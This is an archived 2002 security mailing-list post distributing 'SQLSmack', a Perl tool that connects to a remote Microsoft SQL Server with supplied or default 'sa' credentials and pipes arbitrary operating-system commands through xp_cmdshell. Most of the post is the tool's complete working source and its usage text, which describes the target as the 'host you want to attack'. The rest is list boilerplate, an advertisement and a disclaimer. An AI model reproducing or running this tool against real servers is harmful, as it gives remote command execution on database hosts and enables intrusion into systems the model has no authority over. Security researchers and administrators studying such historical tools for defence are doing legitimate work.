

[TOOL] SQLSmack, a UNIX Based Remote Command Execution for MSSQL

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0034.html>

From: support@securiteam.com

Date: 05/06/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 6 May 2002 21:27:12 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

SQLSmack, a UNIX Based Remote Command Execution for MSSQL

DETAILS

The tool allows when provided with a valid username and password on a remote Microsoft SQL server to execute commands by piping them through the stored procedure master..xp_cmdshell.

Tool code:

```
#!/usr/bin/perl
```

```
#####
```

```
##
```

```
# MSSQL Access Via TCP/IP (tcp/1433) and DBI
```

```
##
```

```
use Getopt::Std;
```

```
use DBI;
```

```
use DBD::FreeTDS;
```

```
sub usage {
```

```
    print STDERR qq{
```

```
*-- --- ---[ sqlsmack v$VERSION – H.D. Moore <hdmoore\@digitaldefense.net>
```

Securiteam: [TOOL] SQLSmack, a UNIX Based Remote Command Execution for MSSQL

Usage: \$0 -h <host> -c 'command'

-h <host> = host you want to attack
-d <database> = the database to use (master)
-u <username> = username to use (sa)
-p <password> = password to use (blank)
-c <command> = command to execute
-q <sql query> = sql query (instead of command)
-P <port> = alternative port to use (1433)
-W = use command.com instead of cmd.exe
-v = verbose

```
};
    exit(1);
}

## ##
# MAIN STARTS HERE #
## ##

getopts("h:d:u:p:c:q:P:DWv", \%args);

$VERSION = "1.2";

# global options hash
%options = ( "Query" => "SELECT 1 + 1",
             "Database" => "master",
             "Username" => "sa",
             "Password" => "",
             "Port" => 1433,
             "CMD" => "cmd.exe",
             "Verbose" => 0
           );

if(!defined($args{h})) { usage(); } else { $options{"Host"} = $args{h}; }

# validate the port
if(defined($args{P}))
{
    if (int($args{P}) > 65535 || int($args{P}) <= 0)
    {
        print "Invalid port specified.\n";
        exit;
    }
    $options{"Port"} = $args{P};
}

if(defined($args{u})) { $options{"Username"} = $args{u}; }
if(defined($args{p})) { $options{"Password"} = $args{p}; }
if(defined($args{W})) { $options{"CMD"} = "command.com"; }
if(defined($args{c})) { $options{"Query"} = "EXEC master..xp_cmdshell ".
```

Securiteam: [TOOL] SQLSmack, a UNIX Based Remote Command Execution for MSSQL

```
$options{"CMD"} ." /c " . $args{c} . "" ; }
if(defined($args{q})){$options{"Query"} = $args{q}; }
if(defined($args{v})){$options{"Verbose"}++; }

if(defined($args{D}))
{
  print "-----[ OPTIONS DUMP ]-----\n";
  foreach $key (keys(%options))
  {
    print "$key => ".$options{$key}."\n";
  }
  print "\n";
}

# create the DSN connection
$dsn =
"DBI:FreeTDS:database=".$options{"Database"}.";host=".$options{"Host"}.";port=".$options{"Port"};
$dbh = DBI->connect($dsn, $options{"Username"}, $options{"Password"});

if ($options{"Verbose"})
{
  print "Executing Query: \" . $options{"Query"} . "\"\n\n";
}

# execute the query
$sth = $dbh->prepare($options{"Query"});
$sth->execute();

# retrieve the results
while (@rs = $sth->fetchrow())
{
  print join(" ", @rs) . "\n";
}

# disconnect
$sth->finish();
$dbh->disconnect();
```

ADDITIONAL INFORMATION

The information has been provided by H D Moore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[NT] New AOL Instant Messenger Buffer Overflow"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)